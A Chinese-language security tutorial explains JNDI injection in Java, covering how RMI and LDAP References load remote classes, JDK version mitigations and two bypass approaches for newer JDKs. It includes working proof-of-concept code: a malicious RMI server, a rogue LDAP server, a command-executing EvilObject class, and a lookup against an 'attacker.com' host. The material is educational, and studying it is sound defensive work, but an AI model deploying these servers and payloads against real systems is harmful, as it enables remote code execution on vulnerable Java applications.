前言
- RMI(Remote Method Invocation) 即Java远程方法调用,一种用于实现远程过程调用的应用程序编程接口,常见的两种接口实现为JRMP(Java Remote Message Protocol,Java远程消息交换协议)以及CORBA。
-
JNDI (Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。JNDI支持的服务主要有以下几种:DNS、LDAP、 CORBA对象服务、RMI等。
RMI 中动态加载字节代码
如果远程获取 RMI
服务上的对象为 Reference
类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class
文件来进行实例化。
Reference 中几个比较关键的属性:
- className - 远程加载时所使用的类名
- classFactory - 加载的 class 中需要实例化类的名称
- classFactoryLocation - 提供 classes 数据的地址可以是 file/ftp/http 等协议
例如这里定义一个 Reference
实例,并使用继承了 UnicastRemoteObject
类的 ReferenceWrapper
包裹一下实例对象,使其能够通过 RMI
进行远程访问:
Reference refObj = new Reference("refClassName", "insClassName", "http://example.com:12345/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);
当有客户端通过 lookup("refObj")
获取远程对象时,获得到一个 Reference
类的存根,由于获取的是一个 Reference
实例,客户端会首先去本地的 CLASSPATH
去寻找被标识为 refClassName
的类,如果本地未找到,则会去请求 http://example.com:12345/refClassName.class
动态加载 classes
并调用 insClassName
的构造函数。
动态协议转换
在初始化配置 JNDI 设置时可以预先指定其上下文环境(RMI、LDAP 或者 CORBA 等):
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
Context ctx = new InitialContext(env);
而在调用lookup()
或者search()
时,可以使用带 URI 动态的转换上下文环境,例如上面已经设置了当前上下文会访问 RMI 服务,那么可以直接使用 LDAP 的 URI 格式去转换上下文环境访问 LDAP 服务上的绑定对象:
ctx.lookup("ldap://attacker.com:12345/ou=foo,dc=foobar,dc=com");
JNDI注入原理
JNDI
支持很多服务类型,当服务类型为RMI
协议时,如果从RMI
注册服务中lookup
的对象类型为Reference
类型或者其子类时,会导致远程代码执行,Reference
类提供了两个比较重要的属性,className
以及codebase url
,classname
为远程调用引用的类名,那么codebase url
决定了在进行rmi
远程调用时对象的位置,此外codebase url
支持http协议,当远程调用类(通过lookup
来寻找)在RMI
服务器中的CLASSPATH
中不存在时,就会从指定的codebase url
来进行类的加载,如果两者都没有,远程调用就会失败。
JNDI RCE
漏洞产生的原因就在于当我们在注册RMI
服务时,可以指定codebase url
,也就是远程要加载类的位置,设置该属性可以让JNDI
应用程序在加载时加载我们指定的类( 例如:http://www.iswin.org/xx.class) ,当JNDI
应用程序通过lookup
(RMI服务的地址)调用指定codebase url
上的类后,会调用被远程调用类的构造方法,所以如果我们将恶意代码放在被远程调用类的构造方法中时,漏洞就会触发。
RMI + JNDI Reference Payload
RMIServer.java
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
public class RMIServer {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.createRegistry(8080);
Reference refObj = new Reference("EvilObject", "EvilObject", "http://127.0.0.1:8000/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'");
registry.bind("refObj", refObjWrapper);
}
}
RMIClient.java
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDIClient {
public static void main(String[] args) throws Exception{
try {
Context ctx = new InitialContext();
ctx.lookup("rmi://localhost:8080/refObj");
String data = "This is RMI Client.";
//System.out.println(serv.service(data));
}
catch (NamingException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
EvilObject.java
import java.lang.Runtime;
public class EvilObject {
public EvilObject() throws Exception {
Runtime.getRuntime().exec("open -a Calculator");
}
}
jdk版本8u101
在JDK 6u132
, JDK 7u122
, JDK 8u113
中Java提升了JNDI 限制了Naming/Directory
服务中JNDI Reference
远程加载Object Factory
类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebase
、com.sun.jndi.cosnaming.object.trustURLCodebase
的默认值变为false
,即默认不允许从远程的Codebase
加载Reference
工厂类。
LDAP + JNDI Reference Payload
除了RMI
服务之外,JNDI
还可以对接LDAP
服务,LDAP
也能返回JNDI Reference
对象,利用过程与上面RMI Reference
基本一致,只是lookup()
中的URL为一个LDAP地址:ldap://xxx/xxx
,由攻击者控制的LDAP
服务端返回一个恶意的JNDI Reference
对象。
且LDAP
服务的Reference
远程加载Factory类不受上一点中 com.sun.jndi.rmi.object.trustURLCodebase
、com.sun.jndi.cosnaming.object.trustURLCodebase
等属性的限制,所以适用范围更广。不过在2018年10月,Java最终也修复了这个利用点,对LDAP Reference
远程工厂类的加载增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211
之后 com.sun.jndi.ldap.object.trustURLCodebase
属性的默认值被调整为false
。
LdapServer.java
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:8000/#EvilObject";
int port = 1234;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
LdapClient
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class LdapClient {
public static void main(String[] args) throws Exception{
try {
Context ctx = new InitialContext();
ctx.lookup("ldap://localhost:1234/EvilObject");
String data = "This is LDAP Client.";
//System.out.println(serv.service(data));
}
catch (NamingException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
绕过JDK 8u191+等高版本限制
所以对于Oracle JDK 11.0.1、8u191、7u201、6u211
或者更高版本的JDK来说,默认环境下之前这些利用方式都已经失效。然而,我们依然可以进行绕过并完成利用。两种绕过方法如下:
- 找到一个受害者本地
CLASSPATH
中的类作为恶意的Reference Factory
工厂类,并利用这个本地的Factory
类执行命令。 - 利用
LDAP
直接返回一个恶意的序列化对象,JNDI
注入依然会对该对象进行反序列化操作,利用反序列化Gadget
完成命令执行。
这两种方式都非常依赖受害者本地CLASSPATH
中环境,需要利用受害者本地的Gadget
进行攻击。
Referer
https://www.freebuf.com/column/207439.html
https://rickgray.me/2016/08/19/jndi-injection-from-theory-to-apply-blackhat-review/
https://security.tencent.com/index.php/blog/msg/131
https://www.iswin.org/2016/01/24/Spring-framework-deserialization-RCE-%E5%88%86%E6%9E%90%E4%BB%A5%E5%8F%8A%E5%88%A9%E7%94%A8/
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html